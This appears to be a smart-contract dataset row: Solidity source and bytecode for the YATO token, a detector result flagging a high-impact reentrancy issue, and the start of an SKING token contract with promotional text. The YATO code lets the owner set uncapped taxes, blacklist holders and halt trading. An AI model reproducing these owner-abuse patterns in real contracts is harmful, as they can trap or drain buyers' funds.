interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YATO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Yato Inu";
string private constant _symbol = "YATO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0; //
uint256 private _taxFeeOnBuy = 10; // 10% buy tax
//Sell Fee
uint256 private _redisFeeOnSell = 0; //
uint256 private _taxFeeOnSell = 10; //10% sell tax
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xeEE8d7AE5Be2e421EDb6289FCF26568ad79b5DA7);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xeEE8d7AE5Be2e421EDb6289FCF26568ad79b5DA7);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; // 1%
uint256 public _maxWalletSize = 30000000000 * 10**9; // 3%
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051c578063dd62ed3e1461053c578063ea1644d514610582578063f2fde38b146105a257600080fd5b8063a2a957bb14610497578063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd801461050757600080fd5b80638f70ccf7116100d15780638f70ccf7146104145780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047757600080fd5b806374010ece146103c05780637d1db4a5146103e05780638da5cb5b146103f657600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103565780636fc3eaec1461037657806370a082311461038b578063715018a6146103ab57600080fd5b8063313ce567146102fa57806349bd5a5e146103165780636b9990531461033657600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aea565b6105c2565b005b3480156101ff57600080fd5b506040805180820190915260088152675961746f20496e7560c01b60208201525b60405161022d9190611c14565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a40565b61066f565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50683635c9adc5dea000005b60405190815260200161022d565b3480156102d057600080fd5b506102566102df366004611a00565b610686565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022d565b34801561032257600080fd5b50601554610286906001600160a01b031681565b34801561034257600080fd5b506101f1610351366004611990565b6106ef565b34801561036257600080fd5b506101f1610371366004611bb1565b61073a565b34801561038257600080fd5b506101f1610782565b34801561039757600080fd5b506102b66103a6366004611990565b6107cd565b3480156103b757600080fd5b506101f16107ef565b3480156103cc57600080fd5b506101f16103db366004611bcb565b610863565b3480156103ec57600080fd5b506102b660165481565b34801561040257600080fd5b506000546001600160a01b0316610286565b34801561042057600080fd5b506101f161042f366004611bb1565b610892565b34801561044057600080fd5b506102b660175481565b34801561045657600080fd5b506040805180820190915260048152635941544f60e01b6020820152610220565b34801561048357600080fd5b506101f1610492366004611bcb565b6108da565b3480156104a357600080fd5b506101f16104b2366004611be3565b610909565b3480156104c357600080fd5b506102566104d2366004611a40565b610947565b3480156104e357600080fd5b506102566104f2366004611990565b60106020526000908152604090205460ff1681565b34801561051357600080fd5b506101f1610954565b34801561052857600080fd5b506101f1610537366004611a6b565b6109a8565b34801561054857600080fd5b506102b66105573660046119c8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506101f161059d366004611bcb565b610a57565b3480156105ae57600080fd5b506101f16105bd366004611990565b610a86565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016105ec90611c67565b60405180910390fd5b60005b815181101561066b5760016010600084848151811061062757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066381611d7a565b9150506105f8565b5050565b600061067c338484610b70565b5060015b92915050565b6000610693848484610c94565b6106e584336106e085604051806060016040528060288152602001611dd7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d0565b610b70565b5060019392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b81526004016105ec90611c67565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107645760405162461bcd60e51b81526004016105ec90611c67565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b757506013546001600160a01b0316336001600160a01b0316145b6107c057600080fd5b476107ca8161120a565b50565b6001600160a01b0381166000908152600260205260408120546106809061128f565b6000546001600160a01b031633146108195760405162461bcd60e51b81526004016105ec90611c67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088d5760405162461bcd60e51b81526004016105ec90611c67565b601655565b6000546001600160a01b031633146108bc5760405162461bcd60e51b81526004016105ec90611c67565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016105ec90611c67565b601855565b6000546001600160a01b031633146109335760405162461bcd60e51b81526004016105ec90611c67565b600893909355600a91909155600955600b55565b600061067c338484610c94565b6012546001600160a01b0316336001600160a01b0316148061098957506013546001600160a01b0316336001600160a01b0316145b61099257600080fd5b600061099d306107cd565b90506107ca81611313565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105ec90611c67565b60005b82811015610a51578160056000868685818110610a0257634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a179190611990565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4981611d7a565b9150506109d5565b50505050565b6000546001600160a01b03163314610a815760405162461bcd60e51b81526004016105ec90611c67565b601755565b6000546001600160a01b03163314610ab05760405162461bcd60e51b81526004016105ec90611c67565b6001600160a01b038116610b155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ec565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ec565b60008111610dbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ec565b6000546001600160a01b03848116911614801590610de857506000546001600160a01b03838116911614155b156110c957601554600160a01b900460ff16610e81576000546001600160a01b03848116911614610e815760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ec565b601654811115610ed35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ec565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1557506001600160a01b03821660009081526010602052604090205460ff16155b610f6d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ec565b6015546001600160a01b03838116911614610ff25760175481610f8f846107cd565b610f999190611d0c565b10610ff25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ec565b6000610ffd306107cd565b6018546016549192508210159082106110165760165491505b80801561102d5750601554600160a81b900460ff16155b801561104757506015546001600160a01b03868116911614155b801561105c5750601554600160b01b900460ff165b801561108157506001600160a01b03851660009081526005602052604090205460ff16155b80156110a657506001600160a01b03841660009081526005602052604090205460ff16155b156110c6576110b482611313565b4780156110c4576110c44761120a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110b57506001600160a01b03831660009081526005602052604090205460ff165b8061113d57506015546001600160a01b0385811691161480159061113d57506015546001600160a01b03848116911614155b1561114a575060006111c4565b6015546001600160a01b03858116911614801561117557506014546001600160a01b03848116911614155b1561118757600854600c55600954600d555b6015546001600160a01b0384811691161480156111b257506014546001600160a01b03858116911614155b156111c457600a54600c55600b54600d555b610a51848484846114b8565b600081848411156111f45760405162461bcd60e51b81526004016105ec9190611c14565b5060006112018486611d63565b95945050505050565b6012546001600160a01b03166108fc6112248360026114e6565b6040518115909202916000818181858888f1935050505015801561124c573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112678360026114e6565b6040518115909202916000818181858888f1935050505015801561066b573d6000803e3d6000fd5b60006006548211156112f65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ec565b6000611300611528565b905061130c83826114e6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bd57600080fd5b505afa1580156113d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f591906119ac565b8160018151811061141657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143c9130911684610b70565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611475908590600090869030904290600401611c9c565b600060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c5576114c561154b565b6114d0848484611579565b80610a5157610a51600e54600c55600f54600d55565b600061130c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611670565b600080600061153561169e565b909250905061154482826114e6565b9250505090565b600c5415801561155b5750600d54155b1561156257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158b876116e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bd908761173d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ec908661177f565b6001600160a01b03891660009081526002602052604090205561160e816117de565b6116188483611828565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165d91815260200190565b60405180910390a3505050505050505050565b600081836116915760405162461bcd60e51b81526004016105ec9190611c14565b5060006112018486611d24565b6006546000908190683635c9adc5dea000006116ba82826114e6565b8210156116d757505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116fd8a600c54600d5461184c565b925092509250600061170d611528565b905060008060006117208e8787876118a1565b919e509c509a509598509396509194505050505091939550919395565b600061130c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d0565b60008061178c8385611d0c565b90508381101561130c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ec565b60006117e8611528565b905060006117f683836118f1565b30600090815260026020526040902054909150611813908261177f565b30600090815260026020526040902055505050565b600654611835908361173d565b600655600754611845908261177f565b6007555050565b6000808080611866606461186089896118f1565b906114e6565b9050600061187960646118608a896118f1565b905060006118918261188b8b8661173d565b9061173d565b9992985090965090945050505050565b60008080806118b088866118f1565b905060006118be88876118f1565b905060006118cc88886118f1565b905060006118de8261188b868661173d565b939b939a50919850919650505050505050565b60008261190057506000610680565b600061190c8385611d44565b9050826119198583611d24565b1461130c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ec565b803561197b81611dc1565b919050565b8035801515811461197b57600080fd5b6000602082840312156119a1578081fd5b813561130c81611dc1565b6000602082840312156119bd578081fd5b815161130c81611dc1565b600080604083850312156119da578081fd5b82356119e581611dc1565b915060208301356119f581611dc1565b809150509250929050565b600080600060608486031215611a14578081fd5b8335611a1f81611dc1565b92506020840135611a2f81611dc1565b929592945050506040919091013590565b60008060408385031215611a52578182fd5b8235611a5d81611dc1565b946020939093013593505050565b600080600060408486031215611a7f578283fd5b833567ffffffffffffffff80821115611a96578485fd5b818601915086601f830112611aa9578485fd5b813581811115611ab7578586fd5b8760208260051b8501011115611acb578586fd5b602092830195509350611ae19186019050611980565b90509250925092565b60006020808385031215611afc578182fd5b823567ffffffffffffffff80821115611b13578384fd5b818501915085601f830112611b26578384fd5b813581811115611b3857611b38611dab565b8060051b604051601f19603f83011681018181108582111715611b5d57611b5d611dab565b604052828152858101935084860182860187018a1015611b7b578788fd5b8795505b83861015611ba457611b9081611970565b855260019590950194938601938601611b7f565b5098975050505050505050565b600060208284031215611bc2578081fd5b61130c82611980565b600060208284031215611bdc578081fd5b5035919050565b60008060008060808587031215611bf8578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4057858101830151858201604001528201611c24565b81811115611c515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ceb5784516001600160a01b031683529383019391830191600101611cc6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1f57611d1f611d95565b500190565b600082611d3f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5e57611d5e611d95565b500290565b600082821015611d7557611d75611d95565b500390565b6000600019821415611d8e57611d8e611d95565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ca57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220452ff5a2c22a6d8f4b419ee40377552f306ff497e11866f408498a362d7a606c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,656 |
0xbb2e9959c33664e5744308fa571429f16bcf128a
|
/*
キングエンジン($SKING)
Be aware monsters and jeets! The King engine is now on and the Ultimate Hellfire Burst Wave Motion Cannon,
which is powerful enough to defeat Platinum sperm and Evil Natural Water in a split-second, is ready to launch.
Despite not being the highest-ranked hero of the Hero Association,
he is considered to be the most powerful man on Earth,
and it is due to this strength that he receives praise and respect from fellow heroes.
His strength is so feared that criminals and mysterious beings will often surrender before having to fight him.
Can you hear the sound of the King Engine approaching?
King is serious and ready for the battle.
Can you feel the formidable impact imposed by the sound?
Saita KING IS COMING FOR YOU !
TG: https://t.me/saitakinginu
WEBSITE: SAITAKING.WORLD
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SKING is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SaitaKingInu";
string private constant _symbol = "SKING";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
